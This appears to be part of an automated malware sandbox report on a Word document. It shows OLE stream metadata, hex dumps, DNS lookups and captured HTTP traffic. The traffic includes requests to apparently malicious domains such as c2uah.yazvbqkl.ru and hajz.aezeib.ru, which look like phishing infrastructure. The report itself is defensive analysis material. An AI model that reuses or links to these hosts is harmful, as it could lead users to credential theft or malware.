Data Raw:	fe ff 00 00 05 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 38 00 00 00 03 00 00 00 01 00 00 00 20 00 00 00 0b 00 00 00 28 00 00 00 06 00 00 00 30 00 00 00 02 00 00 00 b0 04 00 00 0b 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	320
Entropy:	2.0282772532194504
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . @ . . . . . . . . . . . . . . . . . . . 0 . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 05 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 10 01 00 00 0e 00 00 00 01 00 00 00 78 00 00 00 04 00 00 00 80 00 00 00 10 00 00 00 8c 00 00 00 0c 00 00 00 94 00 00 00 05 00 00 00 a0 00 00 00 0b 00 00 00 ac 00 00 00 08 00 00 00 b8 00 00 00 0d 00 00 00 c4 00 00 00 09 00 00 00 d0 00 00 00

General
Stream Path:	1Table
CLSID:
File Type:	data
Stream Size:	5167
Entropy:	3.447063964150012
Base64 Encoded:	False
Data ASCII:	Z . % . . . . . . . . . . . . . . . . . . . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . .
Data Raw:	5a 04 25 00 12 00 01 00 0b 01 0f 00 00 00 03 00 03 00 03 00 03 00 04 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00

General
Stream Path:	WordDocument
CLSID:
File Type:	data
Stream Size:	20480
Entropy:	4.0145790026195955
Base64 Encoded:	False
Data ASCII:	. ! ` . . . . . . . . . . . . . . . . . . . . . . . . . A W N . 2 4 . 8 . . . . . . . . . . . . . . . . . . . . . . . P . . > . . > . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . . . @ . . . \| . . . . . . . . . . . . . > . . . . . . .
Data Raw:	ec a5 c1 00 21 60 09 04 00 00 f8 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 9c 1b 00 00 0e 00 41 57 4e 00 32 34 2e 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 04 16 00 00 50 00 00 3e c7 00 00 3e c7 00 00 ce 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 26, 2025 23:34:21.408395052 CET	52811	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:21.408555031 CET	63936	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:21.488935947 CET	53	64307	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:21.531224012 CET	53	52694	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:21.612500906 CET	53	52811	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:21.712454081 CET	53	63936	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:22.128675938 CET	53	55114	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:22.275820017 CET	53	63255	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:22.938139915 CET	60807	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:22.938199043 CET	50886	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:22.942070007 CET	62348	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:22.942070007 CET	62119	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:23.023097038 CET	53	60807	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:23.023125887 CET	53	50886	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:23.027030945 CET	53	62348	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:23.027055979 CET	53	62119	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:23.628140926 CET	52010	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:23.628359079 CET	51202	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:23.721602917 CET	53	52010	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:23.721652985 CET	53	51202	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:24.209650993 CET	55316	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:24.209791899 CET	63117	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:24.294482946 CET	53	55316	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:24.294501066 CET	53	63117	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:26.127326965 CET	53	62950	162.159.36.2	192.168.2.16
Mar 26, 2025 23:34:26.167371988 CET	57157	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:26.167645931 CET	53486	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:26.252163887 CET	53	57157	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:26.252296925 CET	53	53486	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:30.780904055 CET	60937	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:30.781088114 CET	52740	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:30.982897043 CET	53	60937	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:31.089513063 CET	53	52740	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:32.012589931 CET	52834	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:32.012727022 CET	57652	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:32.097352028 CET	53	52834	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:32.097377062 CET	53	57652	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:32.794125080 CET	63296	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:32.794507027 CET	57022	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:32.879023075 CET	53	63296	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:32.879136086 CET	53	57022	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:33.674895048 CET	55580	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:33.675061941 CET	63565	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:33.759682894 CET	53	55580	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:33.759702921 CET	53	63565	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:35.460912943 CET	54488	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:35.461088896 CET	64390	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:35.467885971 CET	53834	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:35.468061924 CET	58563	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:35.545650959 CET	53	54488	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:35.545870066 CET	53	64390	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:35.566286087 CET	53	53834	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:35.594507933 CET	53	58563	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:35.918479919 CET	51516	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:35.918628931 CET	60955	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:36.003281116 CET	53	51516	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:36.005286932 CET	53	60955	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:36.578046083 CET	50217	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:36.578183889 CET	50147	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:36.662826061 CET	53	50217	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:36.662841082 CET	53	50147	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:38.458343983 CET	53	61330	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:39.291286945 CET	53	54144	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:39.469535112 CET	65356	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:39.469568014 CET	65430	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:39.554331064 CET	53	65356	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:39.554352045 CET	53	65430	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:39.994769096 CET	52374	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:39.994915009 CET	54772	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:39.996457100 CET	53007	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:39.996596098 CET	61190	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:40.079519987 CET	53	52374	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:40.079535007 CET	53	54772	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:40.091552973 CET	53	53007	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:40.094589949 CET	53	61190	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:40.847652912 CET	56826	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:40.847973108 CET	56634	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:34:40.932423115 CET	53	56826	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:40.932661057 CET	53	56634	1.1.1.1	192.168.2.16
Mar 26, 2025 23:34:58.036159992 CET	53	53035	1.1.1.1	192.168.2.16
Mar 26, 2025 23:35:01.926795959 CET	138	138	192.168.2.16	192.168.2.255
Mar 26, 2025 23:35:20.353574038 CET	53	58045	1.1.1.1	192.168.2.16
Mar 26, 2025 23:35:21.436362028 CET	53	63719	1.1.1.1	192.168.2.16
Mar 26, 2025 23:35:33.680877924 CET	58193	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:35:33.681034088 CET	62842	53	192.168.2.16	1.1.1.1
Mar 26, 2025 23:35:33.765948057 CET	53	58193	1.1.1.1	192.168.2.16
Mar 26, 2025 23:35:33.765989065 CET	53	62842	1.1.1.1	192.168.2.16
Mar 26, 2025 23:35:50.427772045 CET	53	59690	1.1.1.1	192.168.2.16

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 26, 2025 23:34:21.712538004 CET	192.168.2.16	1.1.1.1	c287	(Port unreachable)	Destination Unreachable
Mar 26, 2025 23:34:31.089587927 CET	192.168.2.16	1.1.1.1	c284	(Port unreachable)	Destination Unreachable
Mar 26, 2025 23:34:35.594588041 CET	192.168.2.16	1.1.1.1	c276	(Port unreachable)	Destination Unreachable

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 26, 2025 23:33:51.409382105 CET	1.1.1.1	192.168.2.16	0x1797	No error (0)	ecs-office.s-0005.dual-s-msedge.net	s-0005.dual-s-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 26, 2025 23:33:51.409382105 CET	1.1.1.1	192.168.2.16	0x1797	No error (0)	s-0005.dual-s-msedge.net		52.123.128.14	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:33:51.409382105 CET	1.1.1.1	192.168.2.16	0x1797	No error (0)	s-0005.dual-s-msedge.net		52.123.129.14	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:21.612500906 CET	1.1.1.1	192.168.2.16	0x6c63	No error (0)	c2uah.yazvbqkl.ru		172.67.177.94	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:21.612500906 CET	1.1.1.1	192.168.2.16	0x6c63	No error (0)	c2uah.yazvbqkl.ru		104.21.56.43	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:21.712454081 CET	1.1.1.1	192.168.2.16	0x3aba	No error (0)	c2uah.yazvbqkl.ru			65	IN (0x0001)	false
Mar 26, 2025 23:34:23.023097038 CET	1.1.1.1	192.168.2.16	0x8814	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:23.023097038 CET	1.1.1.1	192.168.2.16	0x8814	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:23.023097038 CET	1.1.1.1	192.168.2.16	0x8814	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:23.023097038 CET	1.1.1.1	192.168.2.16	0x8814	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:23.027030945 CET	1.1.1.1	192.168.2.16	0xf950	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:23.027030945 CET	1.1.1.1	192.168.2.16	0xf950	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:23.027055979 CET	1.1.1.1	192.168.2.16	0x24b8	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Mar 26, 2025 23:34:23.721602917 CET	1.1.1.1	192.168.2.16	0x29fe	No error (0)	developers.cloudflare.com		104.16.3.189	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:23.721602917 CET	1.1.1.1	192.168.2.16	0x29fe	No error (0)	developers.cloudflare.com		104.16.5.189	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:23.721602917 CET	1.1.1.1	192.168.2.16	0x29fe	No error (0)	developers.cloudflare.com		104.16.4.189	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:23.721602917 CET	1.1.1.1	192.168.2.16	0x29fe	No error (0)	developers.cloudflare.com		104.16.2.189	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:23.721602917 CET	1.1.1.1	192.168.2.16	0x29fe	No error (0)	developers.cloudflare.com		104.16.6.189	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:23.721652985 CET	1.1.1.1	192.168.2.16	0xcb11	No error (0)	developers.cloudflare.com			65	IN (0x0001)	false
Mar 26, 2025 23:34:24.294482946 CET	1.1.1.1	192.168.2.16	0xb83	No error (0)	developers.cloudflare.com		104.16.5.189	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:24.294482946 CET	1.1.1.1	192.168.2.16	0xb83	No error (0)	developers.cloudflare.com		104.16.4.189	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:24.294482946 CET	1.1.1.1	192.168.2.16	0xb83	No error (0)	developers.cloudflare.com		104.16.2.189	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:24.294482946 CET	1.1.1.1	192.168.2.16	0xb83	No error (0)	developers.cloudflare.com		104.16.6.189	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:24.294482946 CET	1.1.1.1	192.168.2.16	0xb83	No error (0)	developers.cloudflare.com		104.16.3.189	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:24.294501066 CET	1.1.1.1	192.168.2.16	0xb978	No error (0)	developers.cloudflare.com			65	IN (0x0001)	false
Mar 26, 2025 23:34:26.252163887 CET	1.1.1.1	192.168.2.16	0x3309	No error (0)	www.google.com		142.250.80.100	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:26.252296925 CET	1.1.1.1	192.168.2.16	0xf1be	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 26, 2025 23:34:30.982897043 CET	1.1.1.1	192.168.2.16	0x867f	No error (0)	hajz.aezeib.ru		104.21.53.220	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:30.982897043 CET	1.1.1.1	192.168.2.16	0x867f	No error (0)	hajz.aezeib.ru		172.67.219.43	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:31.089513063 CET	1.1.1.1	192.168.2.16	0x9e3e	No error (0)	hajz.aezeib.ru			65	IN (0x0001)	false
Mar 26, 2025 23:34:32.097352028 CET	1.1.1.1	192.168.2.16	0x1b0a	No error (0)	hajz.aezeib.ru		104.21.53.220	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:32.097352028 CET	1.1.1.1	192.168.2.16	0x1b0a	No error (0)	hajz.aezeib.ru		172.67.219.43	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:32.097377062 CET	1.1.1.1	192.168.2.16	0x535a	No error (0)	hajz.aezeib.ru			65	IN (0x0001)	false
Mar 26, 2025 23:34:32.879023075 CET	1.1.1.1	192.168.2.16	0x2d32	No error (0)	c2uah.yazvbqkl.ru		104.21.56.43	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:32.879023075 CET	1.1.1.1	192.168.2.16	0x2d32	No error (0)	c2uah.yazvbqkl.ru		172.67.177.94	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:32.879136086 CET	1.1.1.1	192.168.2.16	0xe977	No error (0)	c2uah.yazvbqkl.ru			65	IN (0x0001)	false
Mar 26, 2025 23:34:33.759682894 CET	1.1.1.1	192.168.2.16	0x1867	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:35.545650959 CET	1.1.1.1	192.168.2.16	0xf9fd	No error (0)	github.com		140.82.112.4	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:35.566286087 CET	1.1.1.1	192.168.2.16	0x94f	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 26, 2025 23:34:35.566286087 CET	1.1.1.1	192.168.2.16	0x94f	No error (0)	d19d360lklgih4.cloudfront.net		18.164.124.96	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:35.566286087 CET	1.1.1.1	192.168.2.16	0x94f	No error (0)	d19d360lklgih4.cloudfront.net		18.164.124.110	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:35.566286087 CET	1.1.1.1	192.168.2.16	0x94f	No error (0)	d19d360lklgih4.cloudfront.net		18.164.124.11	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:35.566286087 CET	1.1.1.1	192.168.2.16	0x94f	No error (0)	d19d360lklgih4.cloudfront.net		18.164.124.91	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:35.594507933 CET	1.1.1.1	192.168.2.16	0x54b8	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 26, 2025 23:34:36.003281116 CET	1.1.1.1	192.168.2.16	0x733	No error (0)	objects.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:36.003281116 CET	1.1.1.1	192.168.2.16	0x733	No error (0)	objects.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:36.003281116 CET	1.1.1.1	192.168.2.16	0x733	No error (0)	objects.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:36.003281116 CET	1.1.1.1	192.168.2.16	0x733	No error (0)	objects.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:36.662826061 CET	1.1.1.1	192.168.2.16	0xcc27	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 26, 2025 23:34:36.662826061 CET	1.1.1.1	192.168.2.16	0xcc27	No error (0)	d19d360lklgih4.cloudfront.net		18.164.124.11	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:36.662826061 CET	1.1.1.1	192.168.2.16	0xcc27	No error (0)	d19d360lklgih4.cloudfront.net		18.164.124.91	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:36.662826061 CET	1.1.1.1	192.168.2.16	0xcc27	No error (0)	d19d360lklgih4.cloudfront.net		18.164.124.96	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:36.662826061 CET	1.1.1.1	192.168.2.16	0xcc27	No error (0)	d19d360lklgih4.cloudfront.net		18.164.124.110	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:36.662841082 CET	1.1.1.1	192.168.2.16	0x1cb2	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 26, 2025 23:34:39.554331064 CET	1.1.1.1	192.168.2.16	0xce91	No error (0)	get.geojs.io		104.26.0.100	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:39.554331064 CET	1.1.1.1	192.168.2.16	0xce91	No error (0)	get.geojs.io		104.26.1.100	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:39.554331064 CET	1.1.1.1	192.168.2.16	0xce91	No error (0)	get.geojs.io		172.67.70.233	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:39.554352045 CET	1.1.1.1	192.168.2.16	0x5f02	No error (0)	get.geojs.io			65	IN (0x0001)	false
Mar 26, 2025 23:34:40.079519987 CET	1.1.1.1	192.168.2.16	0x6be1	No error (0)	get.geojs.io		104.26.1.100	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:40.079519987 CET	1.1.1.1	192.168.2.16	0x6be1	No error (0)	get.geojs.io		172.67.70.233	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:40.079519987 CET	1.1.1.1	192.168.2.16	0x6be1	No error (0)	get.geojs.io		104.26.0.100	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:40.079535007 CET	1.1.1.1	192.168.2.16	0xbfab	No error (0)	get.geojs.io			65	IN (0x0001)	false
Mar 26, 2025 23:34:40.091552973 CET	1.1.1.1	192.168.2.16	0x1677	No error (0)	ijocrd8gscyrrpncx37g2njnvi2qysdl6xszanyihqwt0mroulce.novaxw.es		104.21.42.188	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:40.091552973 CET	1.1.1.1	192.168.2.16	0x1677	No error (0)	ijocrd8gscyrrpncx37g2njnvi2qysdl6xszanyihqwt0mroulce.novaxw.es		172.67.208.94	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:40.094589949 CET	1.1.1.1	192.168.2.16	0xe255	No error (0)	ijocrd8gscyrrpncx37g2njnvi2qysdl6xszanyihqwt0mroulce.novaxw.es			65	IN (0x0001)	false
Mar 26, 2025 23:34:40.932423115 CET	1.1.1.1	192.168.2.16	0xe5cb	No error (0)	ijocrd8gscyrrpncx37g2njnvi2qysdl6xszanyihqwt0mroulce.novaxw.es		172.67.208.94	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:40.932423115 CET	1.1.1.1	192.168.2.16	0xe5cb	No error (0)	ijocrd8gscyrrpncx37g2njnvi2qysdl6xszanyihqwt0mroulce.novaxw.es		104.21.42.188	A (IP address)	IN (0x0001)	false
Mar 26, 2025 23:34:40.932661057 CET	1.1.1.1	192.168.2.16	0xe923	No error (0)	ijocrd8gscyrrpncx37g2njnvi2qysdl6xszanyihqwt0mroulce.novaxw.es			65	IN (0x0001)	false
Mar 26, 2025 23:35:33.765948057 CET	1.1.1.1	192.168.2.16	0x61c1	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
2025-03-26 22:34:21 UTC	676	OUT	GET /QPImv5ff/ HTTP/1.1 Host: c2uah.yazvbqkl.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 22:34:22 UTC	1216	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 22:34:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fwZVqvVPTeEKrNq0V7dduRCxCrU%2BTtJlydLbrfmQjoMVD%2F%2FAgaGUlroxh2mfy6yyURLJj3L8HI5A65hs56bsecI6%2BzphbO26xuXQebd%2FwQxb67gfCPfWbG29phKQb87tSdwA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=8471&min_rtt=8318&rtt_var=2643&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=1580&delivery_rate=299505&cwnd=251&unsent_bytes=0&cid=7859fe00ac13b232&ts=399&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InNnRm90a0h3ajc5VEtRWmZ2T3l2S2c9PSIsInZhbHVlIjoiVjNnL0dUbU9vYW5DZWFYbGdzZnBkSmhCRFoxNHVaSGJubzhTSlczK1VrdG8wSFRjNmVlSWlWMGhRSjI4R0JiMWZzcU5SYU5YVTQxWkRvL0RiU0c4Y215MzRvbThhQklmZ0g2cFlyMitRb2wwWkJkdG5IUE84TE9wWGd3Y3VBT2oiLCJtYWMiOiIyYzZlODM2ZWZjNmQ5MDMyMWEzMWQzZWNhNWQ0MmFiNGMyMjEzZTUxZDcxMzdiMjViODZlNjcwMzk2MzRhYmNiIiwidGFnIjoiIn0%3D; expires=Thu, 27-Mar-2025 00:34:22 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-26 22:34:22 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 59 76 5a 55 77 30 62 33 5a 53 65 6e 68 75 4f 45 31 52 56 33 4e 34 51 54 45 31 4d 58 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4d 45 46 78 54 45 59 72 4d 6b 70 75 61 7a 68 53 59 58 46 6e 4e 6c 46 54 52 54 6b 33 4c 31 6c 55 53 54 46 59 5a 6b 4e 4a 52 6e 46 76 4d 7a 68 48 63 6e 5a 34 4d 45 78 48 52 32 4e 7a 4e 47 68 36 59 56 4d 30 61 6b 39 7a 4c 32 39 51 61 33 42 78 63 55 4e 5a 63 47 31 6a 4c 31 4a 45 55 55 64 61 62 45 70 4d 57 55 38 35 65 55 68 55 61 47 55 34 63 55 64 71 59 58 59 77 52 6c 4a 52 63 7a 67 77 56 46 70 4a 61 30 5a 71 65 56 52 4b 64 55 35 4d 57 45 52 48 4c 7a 68 49 65 6a 59 31 57 48 68 36 54 32 4e 50 4d 32 4e 31 63 48 4d Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImYvZUw0b3ZSenhuOE1RV3N4QTE1MXc9PSIsInZhbHVlIjoiMEFxTEYrMkpuazhSYXFnNlFTRTk3L1lUSTFYZkNJRnFvMzhHcnZ4MExHR2NzNGh6YVM0ak9zL29Qa3BxcUNZcG1jL1JEUUdabEpMWU85eUhUaGU4cUdqYXYwRlJRczgwVFpJa0ZqeVRKdU5MWERHLzhIejY1WHh6T2NPM2N1cHM
